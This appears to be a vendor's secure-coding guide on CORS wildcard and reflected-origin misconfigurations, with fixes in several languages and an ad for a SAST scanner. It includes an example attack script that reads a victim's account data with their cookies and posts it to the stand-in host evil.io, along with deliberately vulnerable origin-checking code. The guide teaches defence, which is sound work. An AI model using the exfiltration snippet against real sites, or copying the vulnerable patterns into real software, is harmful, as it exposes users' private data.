Access-Control-Allow-Origin: * is the CORS wildcard header — and it is one of the most frequently misused security headers in web development. When used correctly, it’s harmless. When combined with credentials or applied to sensitive API endpoints, it is a critical security vulnerability that allows any website on the internet to read your API responses using your users’ session cookies.
This guide explains exactly when the CORS wildcard is safe, when it becomes a vulnerability (CWE-942), and how to replace it with a precise, secure origin allowlist.
What Is CORS and Why Does It Exist?
The Same-Origin Policy (SOP) is the browser’s fundamental security boundary: JavaScript running on https://attacker.io cannot read the HTTP responses from https://yourapi.com. This prevents attacker-hosted pages from silently exfiltrating your users’ data using their session credentials.
CORS (Cross-Origin Resource Sharing) is the mechanism that selectively relaxes this boundary for legitimate use cases — your frontend at https://app.yourcompany.com making API calls to https://api.yourcompany.com. The server tells the browser which origins are permitted to read its responses via the Access-Control-Allow-Origin response header.
The wildcard * tells the browser: any origin is permitted to read this response.
When Access-Control-Allow-Origin: * Is Safe
The CORS wildcard is appropriate and safe only when both of these conditions are true:
- The endpoint serves public, non-authenticated data — no session cookies, no authorization tokens, no user-specific content
- The endpoint never uses
Access-Control-Allow-Credentials: true
Common safe examples:
- Public CDN assets (fonts, images, JavaScript libraries)
- Open data APIs that serve public information to any caller (weather data, public transit schedules)
- Public documentation APIs
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json
{"version": "1.0", "status": "operational"}
The above is safe: a status endpoint serving public data with no authentication.
When Access-Control-Allow-Origin: * Becomes a Vulnerability
The CORS wildcard becomes a critical security vulnerability in the following scenarios:
Scenario 1: Wildcard with Credentials (Always Rejected — but Misconfigured Intent)
The CORS specification explicitly prohibits combining Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. Browsers will refuse to process this combination and the credentialed cross-origin request will fail.
However, developers who set both headers often “fix” the broken credentialed requests by switching to reflected origin mode — which is far more dangerous:
// VULNERABLE — developer "fixes" the wildcard + credentials problem
// by reflecting the Origin header back
app.use((req, res, next) => {
const origin = req.headers.origin;
// "Fixing" the wildcard: reflect whatever origin the client sends
res.setHeader('Access-Control-Allow-Origin', origin || '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
// Result: ANY origin can make credentialed requests and read responses
This is worse than the wildcard — it allows credentialed cross-origin requests from any origin.
Scenario 2: Wildcard on Authenticated API Endpoints
Even without credentials, a wildcard on an API endpoint that uses token-based authentication (JWT in Authorization header, API key in custom header) can be dangerous in certain configurations:
GET /api/user/profile HTTP/1.1
Host: api.yourcompany.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json
{"id": 1, "email": "[email protected]", "role": "admin"}
If an attacker can induce the victim to make this request (e.g., via a stored token in localStorage that JavaScript can access), the wildcard allows reading the response. The risk depends on how the token is stored and transmitted.
Scenario 3: Wildcard + Sensitive Data
The clearest vulnerability case: a wildcard header on an endpoint returning sensitive data, even without credentials, allows any website to read that data if the user can be induced to make the request while the data is accessible.
The Attack: How an Attacker Exploits CORS Wildcard with Credentials
For the credentialed case (the most impactful exploit), the attack flow is:
- The victim visits
https://evil.iowhile logged intohttps://yourapp.com - JavaScript on
evil.iomakes afetch()request tohttps://api.yourapp.com/user/accountwithcredentials: 'include' - The browser automatically includes the victim’s session cookie for
yourapp.comin the request api.yourapp.comresponds withAccess-Control-Allow-Origin: *(or the reflected origin) andAccess-Control-Allow-Credentials: true- The browser allows
evil.io’s JavaScript to read the response body — which contains the victim’s account data evil.ioexfiltrates the account data to the attacker’s server
// Code on evil.io that performs the attack
fetch('https://api.yourapp.com/user/account', {
method: 'GET',
credentials: 'include', // Sends the victim's session cookie
})
.then(res => res.json())
.then(data => {
// data contains the victim's account information
fetch('https://evil.io/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
The victim has no indication this happened — the request occurs entirely in the background.
Identifying CORS Wildcard Misconfigurations
Manual Testing
# Test 1: Basic wildcard response
curl -si -H "Origin: https://evil.io" \
https://api.yoursite.com/user/profile \
| grep -i "access-control"
# Look for:
# Access-Control-Allow-Origin: * ← wildcard (check if endpoint needs auth)
# Access-Control-Allow-Origin: https://evil.io ← reflected origin (always dangerous)
# Access-Control-Allow-Credentials: true ← combined with above = critical vuln
# Test 2: Reflected origin check
curl -si -H "Origin: https://completely-random-domain.com" \
https://api.yoursite.com/user/profile \
| grep "access-control-allow-origin"
# If the response contains your attacker origin — reflected origin vulnerability
What SAST Tools Detect
Offensive360 SAST detects CORS wildcard misconfigurations under the CORSAllowOriginWildcard rule, which flags:
Access-Control-Allow-Originset to*via code (hardcoded or variable)- Patterns where the
Originrequest header value is directly copied intoAccess-Control-Allow-Origin - Framework-level CORS configurations with overly permissive settings (e.g.,
AllowAnyOrigin()in ASP.NET Core middleware)
The detection covers Node.js, Python, Java, PHP, Go, C#, and Ruby codebases. See the CORS Wildcard reference in the knowledge base for language-specific detection patterns.
The Correct Fix: Replace Wildcard with an Exact Origin Allowlist
The safest and most reliable CORS implementation is an exact string match against a static set of allowed origins. No parsing, no regex, no substring checks — just a Set lookup.
Node.js / Express
// SECURE — exact Set lookup, no parsing edge cases
const ALLOWED_ORIGINS = new Set([
'https://app.yourcompany.com',
'https://yourcompany.com',
'https://staging.yourcompany.com',
]);
function corsMiddleware(req, res, next) {
const origin = req.headers.origin;
if (origin && ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin'); // Required for correct CDN caching
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, PATCH, DELETE, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization, X-API-Key');
res.setHeader('Access-Control-Max-Age', '86400');
}
if (req.method === 'OPTIONS') {
return res.sendStatus(204);
}
next();
}
app.use(corsMiddleware);
Python / Flask
from flask import Flask, request
from functools import wraps
app = Flask(__name__)
ALLOWED_ORIGINS = frozenset([
'https://app.yourcompany.com',
'https://yourcompany.com',
'https://staging.yourcompany.com',
])
@app.after_request
def set_cors_headers(response):
origin = request.headers.get('Origin', '')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Vary'] = 'Origin'
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Access-Control-Allow-Methods'] = \
'GET, POST, PUT, PATCH, DELETE, OPTIONS'
response.headers['Access-Control-Allow-Headers'] = \
'Content-Type, Authorization, X-Requested-With'
return response
Java / Spring Boot
@Configuration
public class CorsConfig {
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration config = new CorsConfiguration();
// Explicit allowlist — Spring performs exact matching
config.setAllowedOrigins(List.of(
"https://app.yourcompany.com",
"https://yourcompany.com",
"https://staging.yourcompany.com"
));
config.setAllowedMethods(List.of(
"GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"
));
config.setAllowedHeaders(List.of(
"Content-Type", "Authorization", "X-Requested-With", "X-API-Key"
));
config.setAllowCredentials(true);
config.setMaxAge(86400L);
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/api/**", config);
return source;
}
}
ASP.NET Core (C#)
// Program.cs — ASP.NET Core 6+
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddCors(options =>
{
options.AddPolicy("AllowedOriginsPolicy", policy =>
{
// Named origins list — no wildcards
policy
.WithOrigins(
"https://app.yourcompany.com",
"https://yourcompany.com",
"https://staging.yourcompany.com"
)
.AllowAnyMethod()
.AllowAnyHeader()
.AllowCredentials(); // Safe because WithOrigins() is explicit
});
// DO NOT use:
// policy.AllowAnyOrigin().AllowCredentials() — throws at runtime
// policy.AllowAnyOrigin() on authenticated endpoints — too permissive
});
var app = builder.Build();
app.UseCors("AllowedOriginsPolicy");
Go (gin-contrib/cors)
import (
"github.com/gin-contrib/cors"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
r.Use(cors.New(cors.Config{
AllowOrigins: []string{
"https://app.yourcompany.com",
"https://yourcompany.com",
"https://staging.yourcompany.com",
},
AllowMethods: []string{"GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"},
AllowHeaders: []string{"Origin", "Content-Type", "Authorization", "X-API-Key"},
AllowCredentials: true,
MaxAge: 86400,
}))
r.Run()
}
PHP
<?php
// Exact allowlist — no wildcard, no substring check
$allowedOrigins = [
'https://app.yourcompany.com',
'https://yourcompany.com',
'https://staging.yourcompany.com',
];
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (in_array($origin, $allowedOrigins, strict: true)) {
header("Access-Control-Allow-Origin: $origin");
header("Vary: Origin");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Authorization, X-API-Key");
}
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(204);
exit;
}
Common CORS Wildcard Mistakes to Avoid
Mistake 1: Using * for Authenticated Endpoints
# WRONG — wildcard in nginx for an authenticated API proxy
location /api/ {
add_header Access-Control-Allow-Origin *; # Dangerous if API requires auth
proxy_pass http://backend:8080/;
}
# CORRECT — restrict origin at the application layer, not nginx
location /api/ {
proxy_pass http://backend:8080/;
# Let the application handle CORS headers selectively
}
Mistake 2: Regex Origin Matching Without Anchoring
# WRONG — unanchored regex allows bypass
import re
if re.search(r'yourcompany\.com', origin):
response.headers['Access-Control-Allow-Origin'] = origin
# Passes: https://evil-yourcompany.com
# Passes: https://yourcompany.com.attacker.io
# CORRECT — exact set membership
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
Mistake 3: Substring Matching
// WRONG — indexOf/includes allows bypass
if (origin.includes('yourcompany.com')) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
// Passes: https://evil-yourcompany.com
// CORRECT — Set.has() exact match
if (ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
Mistake 4: Forgetting the Vary: Origin Header
When you dynamically set Access-Control-Allow-Origin to a specific origin (not *), you must also set Vary: Origin. Without it, CDNs and proxies may cache a response with one origin’s CORS headers and serve it to requests from different origins:
// CORRECT — always pair dynamic ACAO with Vary: Origin
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin'); // ← Required
CORS Wildcard vs. Reflected Origin: Which Is Worse?
| Configuration | Credentials Possible? | Risk Level |
|---|---|---|
ACAO: * (no credentials) | No | Low for public data; Medium if auth via header |
ACAO: * + ACAC: true | Rejected by browser | Broken (not dangerous but broken) |
Reflected origin + ACAC: true | Yes | Critical — any site can steal auth’d data |
| Reflected origin (no credentials) | No | Medium — depends on data sensitivity |
Exact allowlist + ACAC: true | Yes (trusted origins only) | Safe ✅ |
The exact allowlist with explicit trusted origins is the only configuration that is both functional (supports credentialed cross-origin requests for your frontend) and secure (rejects requests from any other origin).
Frequently Asked Questions
Is Access-Control-Allow-Origin: * always dangerous?
No. For truly public, unauthenticated API endpoints serving non-sensitive data, * is acceptable and even appropriate. The vulnerability arises when the wildcard is used on endpoints that handle authentication or return user-specific data — especially when combined with Access-Control-Allow-Credentials: true (which browsers reject) or when developers “fix” this by reflecting the Origin header instead.
Does a CORS misconfiguration allow server-side attacks?
No. CORS is a browser security mechanism. A CORS misconfiguration only matters when the attack goes through a browser — the attacker’s JavaScript on a malicious page uses the victim’s browser to make cross-origin requests. Direct server-to-server calls (curl, Postman, automated scanners) are not subject to CORS. However, the real-world impact of cross-site credential theft is very high.
Can a WAF block CORS attacks?
A WAF can block some CORS-related requests but is not a reliable mitigation for a CORS misconfiguration. The correct fix is to remove the wildcard header and implement an explicit origin allowlist at the application level.
Does null as an origin need to be handled?
Yes. Browsers send Origin: null for requests from sandboxed iframes, file:// pages, and some redirect scenarios. If your code reflects the Origin header without validation, null origins can be exploited. Always validate against your allowlist — and ensure null is not in your allowlist.
// The null origin attack
// Attacker creates: <iframe sandbox="allow-scripts" src="data:text/html,...">
// Inside the iframe, Origin: null is sent
// If your server reflects it: Access-Control-Allow-Origin: null
// Browser allows the credentialed cross-origin request from the sandboxed iframe
Detecting CORS Wildcard with Offensive360 SAST
Offensive360 SAST detects CORS wildcard misconfigurations (CORSAllowOriginWildcard) across Node.js, Python, Java, PHP, Go, C#, and Ruby. The scanner identifies:
- Hardcoded
*values inAccess-Control-Allow-Originheader assignments - Framework-level CORS configurations using
AllowAnyOrigin()or equivalent - Origin reflection patterns where
request.headers.originflows directly into the CORS response header without allowlist validation - Configurations where
AllowCredentials: trueis combined with a wildcard or reflected origin
View the CORSAllowOriginWildcard vulnerability reference →
Offensive360 SAST scans your API server code for CORS misconfigurations, reflected-origin patterns, and 100+ other web application vulnerability classes. Run a one-time code scan for $500 or book a demo to see it in action.